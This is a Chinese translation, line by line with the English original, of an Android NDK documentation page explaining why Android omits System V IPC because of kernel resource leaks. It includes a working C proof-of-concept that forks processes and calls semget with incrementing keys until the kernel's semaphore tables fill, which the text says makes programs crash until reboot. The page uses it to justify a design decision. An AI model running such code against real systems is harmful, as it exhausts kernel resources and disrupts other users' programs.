【翻译】(17)SYSV IPC
-----------------
英文文档见android-ndk-r6b的documentation.html
属于Android Native Development Kit (NDK)的一部分
见
http://developer.android.com/sdk/ndk/index.html
翻译仅个人见解
-----------------
?
Android does not support System V IPCs, i.e. the facilities provided by the following standard Posix headers:
?
Android不支持系统五进程间通信。即以下标准Posix头文件提供的工具:(注:Posix是Unix可移植操作系统接口的简称,是一种操作系统的API标准,但不限于Unix)
?
? <sys/sem.h> ? /* SysV semaphores 系统五信号量*/
? <sys/shm.h> ? /* SysV shared memory segments 系统五内存段*/
? <sys/msg.h> ? /* SysV message queues 系统五消息队列*/
? <sys/ipc.h> ? /* General IPC definitions 通用进程间通信定义*/
?
The reason for this is due to the fact that, by design, they lead to global kernel resource leakage.
?
之所以要这样做,是因为这样的事实,设计上它们会导致全局内核资源泄漏。
?
For example, there is no way to automatically release a SysV semaphore allocated in the kernel when:
?
例如,没有一种方法自动地释放在内核中分配的系统五信号量,当:
?
- a buggy or malicious process exits
?
- 一个有缺陷或恶意的进程存在。
?
- a non-buggy and non-malicious process crashes or is explicitly killed.
?
- 一个无缺陷且无恶意的进程崩溃或显式地被杀掉。
?
Killing processes automatically to make room for new ones is an important part of Android's application lifecycle implementation. This means that, even assuming only non-buggy and non-malicious code, it is very likely that over time, the kernel global tables used to implement SysV IPCs will fill up.
?
自动杀掉进程以腾出空间给新的进程,是Android应用程序生命周期实现的重要部分。这意味着,即便假设只有无缺陷且无恶意的代码,还是非常可能在不久后,用于实现系统五IPC的内核全局表将被填满。
?
At that point, strange failures are likely to occur and prevent programs that use them to run properly until the next reboot of the system.
?
到那时,奇怪的失败有可能会发生,并且阻止使用它们的程序正常运行,直至下一次系统重启。
?
And we can't ignore potential malicious applications. As a proof of concept here is a simple exploit that you can run on a standard Linux box today:
?
而且,我们不可以忽略潜在的恶意应用程序。作为这个观点的证明,这里有一个简单的漏洞(注:这里应该理解为漏洞或溢出攻击),如今你可以运行它在一个标准Linux机器里:
?
--------------- cut here ------------------------
#include <sys/sem.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
?
#define ?NUM_SEMAPHORES ?32
#define ?MAX_FAILS ? ? ? 10
?
int ?main(void)
{
? ? int ? counter = 0;
? ? int ? fails ? = 0;
?
? ? if (counter == IPC_PRIVATE)
? ? ? ? counter++;
?
? ? printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES);
?
? ? for (;;) {
? ? ? ? int ?ret = fork();
? ? ? ? int ?status;
?
? ? ? ? if (ret < 0) {
? ? ? ? ? ? perror("fork:");
? ? ? ? ? ? break;
? ? ? ? }
? ? ? ? if (ret == 0) {
? ? ? ? ? ? /* in the child 在子进程中*/
? ? ? ? ? ? ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT );
? ? ? ? ? ? if (ret < 0) {
? ? ? ? ? ? ? ? return errno;
? ? ? ? ? ? }
? ? ? ? ? ? return 0;
? ? ? ? }
? ? ? ? else {
? ? ? ? ? ? /* in the parent 在父进程中*/
? ? ? ? ? ? ret = wait(&status); //注:等待,直至其中一个子进程退出
? ? ? ? ? ? if (ret < 0) {
? ? ? ? ? ? ? ? perror("waitpid:");
? ? ? ? ? ? ? ? break;
? ? ? ? ? ? }
? ? ? ? ? ? if (status != 0) {
? ? ? ? ? ? ? ? status = WEXITSTATUS(status);
? ? ? ? ? ? ? ? fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret,
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? counter, status);
? ? ? ? ? ? ? ? if (++fails >= MAX_FAILS)
? ? ? ? ? ? ? ? ? ? break;
? ? ? ? ? ? }
? ? ? ? }
?
? ? ? ? counter++;
? ? ? ? if ((counter % 1000) == 0) {
? ? ? ? ? ? printf("%d\n", counter);
? ? ? ? }
? ? ? ? if (counter == IPC_PRIVATE)
? ? ? ? ? ? counter++;
? ? }
? ? return 0;
}
--------------- cut here ------------------------
?
If you run it on a typical Linux distribution today, you'll discover that it will quickly fill up the kernel's table of unique key_t values, and that strange things will happen in some parts of the system, but not all.
?
今时今日如果你在一个典型的Linux分发版上运行这个程序,你将发现它很快用唯一的key_t值占满内核表,而且将会在系统的某些部分发生奇怪的事情,但不是全部。
?
(You can use the "ipcs -u" command to get a summary describing the kernel tables and their allocations)
?
(你可以使用ipcs -u命令获取一个描述内核表及其分配的概要)
?
(注:ipcs用于提供IPC设施的状态信息,-u表示summary,我在ubuntu上得到的有共享内存,信号量,消息三项)
?
For example, in our experience, anything program launched after that that calls strerror() will simply crash. The USB sub-system starts spoutting weird errors to the system console, etc...
?
例如,以我们的经验看,在发生这种泄漏之后,程序所做的任何事情,一旦其中调用了strerror()就会简单地崩溃。USB子系统开始不断输出奇怪的错误到系统控制台,等等……
?